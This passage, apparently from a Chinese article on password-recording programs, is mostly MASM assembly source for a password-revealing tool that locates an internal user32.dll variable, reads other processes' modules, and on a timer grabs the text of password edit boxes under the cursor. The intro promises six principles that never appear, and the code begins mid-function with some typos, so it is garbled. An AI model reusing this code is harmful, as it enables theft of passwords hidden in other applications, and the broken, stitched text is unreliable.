目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
ret
ViewPass endp
comment %
GetUnknowVarOffset proc uses esi edi ebx
LOCAL user32base:dword
LOCAL varaddr:dword
invoke LoadLibrary,offset user32dll
mov user32base,eax
invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
.if eax!=NULL
invoke RtlMoveMemory,offset buffercode,eax,1000
mov esi,offset buffercode
xor ebx,ebx
@@nextcode:
mov ax,word ptr [esi]
.if ax==08C2h
add esi,2
mov al,byte ptr[esi]
sub esi,2
.if al==00h
;--找到ret 08(C20800)后,倒过去找mov eax,xxxxxxxx (B8 xxxxxxxx)
sub esi,5
sub ebx,5
@@nextcode2:
mov al,byte ptr [esi]
.if al==0B8h
inc esi
mov eax,dword ptr [esi]
dec esi
mov varaddr,eax
.else
@@nextb8:
dec esi
dec ebx
.if ebx>1
jmp @@nextcode2
.else ;找不到mov eax,xxxxxxxx
invoke MessageBox,0,offset errnocode,offset vp,1
xor eax,eax
ret
.endif
.endif
.else
jmp @@findother
.endif
.else
@@findother:
inc ebx
inc esi
.if ebx<1000d
jmp @@nextcode
.else ;找不到ret 08指令
invoke MessageBox,0,offset errnocode,offset vp,1
xor eax,eax
ret
.endif
.endif
.else ;找不到函数
invoke MessageBox,0,offset errnowow,offset vp,1
xor eax,eax
ret
.endif
;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
mov ecx,user32base
add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
mov eax,varaddr
sub eax,ecx ;变量的地址减全局变量起始地址
..if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于变局变量总大小
add eax,4
mov VarOffset,eax
.else
jmp @@nextb8
.endif
ret
GetUnknowVarOffset endp
%
GetUnknowVarOffset proc uses esi edi ebx
LOCAL user32base:dword
LOCAL varaddr:dword
LOCAL optable[2048]:byte
LOCAL oplen[256]:byte ;记录每个指令的长度,最多512个
invoke LoadLibrary,offset user32dll
mov user32base,eax
invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
.if eax!=NULL
invoke RtlMoveMemory,offset buffercode,eax,1000
mov esi,offset buffercode
;------------------------ 利用LDE32库函数得到该函数中每个指令的长度:)
lea eax,optable
push eax
call disasm_init ;解压缩’指令长度表’
xor ebx,ebx
lea edi,oplen
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax!=-1 && ebx<256
mov cx,word ptr [esi]
mov dl,byte ptr [esi+2]
.if eax == 3 && cx == 08C2h && dl == 00 ;找到ret 08=C20800
;-------------------然后反过去找MOV EAX,XXXXXXXX =B8 XXXXXXXX
dec ebx
@@nextcode2:
mov AL,byte ptr [edi+ebx]
movzx eax,al
sub esi,eax
mov cl,byte ptr [esi]
.if al == 5 && cl == 0B8H
inc esi
mov eax,dword ptr [esi]
mov varaddr,eax
dec esi
.else
@@nextb8:
dec ebx
.if ebx >1
jmp @@nextcode2
.else
jmp @@errcode
.endif
.endif
.else
mov byte ptr [edi+ebx],al
inc ebx
add esi,eax
jmp @@nextcode
.endif
.else ;找不到RET 08指令
@@errcode:
invoke MessageBox,0,offset errnocode,offset vp,1
xor eax,eax
ret
.endif
;------------------------
.else ;找不到函数
invoke MessageBox,0,offset errnowow,offset vp,1
xor eax,eax
ret
.endif
;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
mov ecx,user32base
add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
mov eax,varaddr
sub eax,ecx ;变量的地址减全局变量起始地址
.if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于全局变量总大小
add eax,4
mov VarOffset,eax
.else
jmp @@nextb8
.endif
ret
GetUnknowVarOffset endp
GetUser32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset user32dll,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetUser32Base endp
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS
;movzx ecx,[edi].FileHeader.Machine
;movzx edx,[edi].FileHeader.NumberOfSections
;movzx ebx,[edi].FileHeader.Characteristics
;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx
;********************************************************************
; 节区名称
;********************************************************************
invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,’ ’
.endif
stosb
loop @B
pop edi
pop esi
;********************************************************************
invoke lstrcmpi,offset dataname,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop VirtualAddress
push dword ptr [edi+8]
pop VirtualSize
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif
;********************************************************************
pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endp
CheckOS proc
LOCAL verinfo:OSVERSIONINFO
mov verinfo.dwOSVersionInf, oSize,sizeof OSVERSIONINFO
invoke GetVersionEx,addr verinfo
.if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo..dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
mov eax,1 ;xp
mov passoffset,0A4H
mov lenoffset ,14H
.elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2)
mov eax,1 ;2003
mov passoffset,0A0H
mov lenoffset ,0CH
.elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0)
mov eax,1 ;2000
mov passoffset,98H
mov lenoffset ,0cH
.else
invoke MessageBox,0,offset erros,offset vp,1
xor eax,eax ;9x,nt4
.endif
ret
CheckOS endp
_ProcDlgMain proc uses ebx edi esi,
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
local @stPoint:POINT
local @hWindow
local hBrush :dword
local rect:RECT
local LogBrush:LOGBRUSH
mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
invoke KillTimer,hWnd,1
.elseif eax == WM_INITDIALOG
push hWnd
pop hWinMain
invoke LoadIcon, hInstance, 1
invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
invoke SendDlgItemMessage,hWnd,ID_PWD,EM_SETREADONLY,TRUE,NULL
invoke SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,
SWP_NOMOVE or SWP_NOSIZE
invoke SetTimer,hWnd,1,2000,NULL
invoke LoadBitmap,hInstance,IDB_1
invoke SendDlgItemMessage,hWnd,IDC_BMP,STM_SETIMAGE,IMAGE_BITMAP,eax
invoke GetWindowLong,hWnd, GWL_EXSTYLE
or eax,80000h
invoke SetWindowLong,hWnd, GWL_EXSTYLE, eax
invoke SetLayeredWindowAttributes,hWnd, 0, 220, 02h;LWA_ALPHA
.elseif eax == WM_CTLCOLORSTATIC
RGB 0,0,0
invoke SetBkColor,wParam,eax
invoke SetTextColor,wParam,00aeaeaeh
invoke GetStockObject,HOLLOW_BRUSH
ret
.elseif eax == WM_ERASEBKGND
mov LogBrush.lbStyle,BS_SOLID
RGB 0,0,0
mov LogBrush.lbColor,eax
invoke CreateBrushIndirect,addr LogBrush
mov hBrush,eax
invoke GetClientRect,hWnd,addr rect
invoke FillRect,wParam,addr rect,hBrush
mov eax,TRUE
ret
.elseif eax == WM_TIMER
invoke GetCursorPos,addr @stPoint
invoke WindowFromPoint,@stPoint.x,@stPoint.y
mov @hWindow,eax
.if eax != NULL
invoke GetWindowLong,@hWindow,GWL_STYLE
.if (eax & ES_PASSWORD)
invoke GetClassName,@hWindow,offset classname,64
invoke lstrcmpi,offset classname,offset editname
.if eax == 0
mov eax,@hWindow
mov WINHAND,eax
invoke ViewPass
.endif
.endif
.endif
.else
;********************************************************************
; 注意:对话框的消息处理后,要返回 TRUE,对没有处理的消息
; 要返回 FALSE
;********************************************************************
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
include masm32includelde32bin.inc
;********************************************************************
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
end start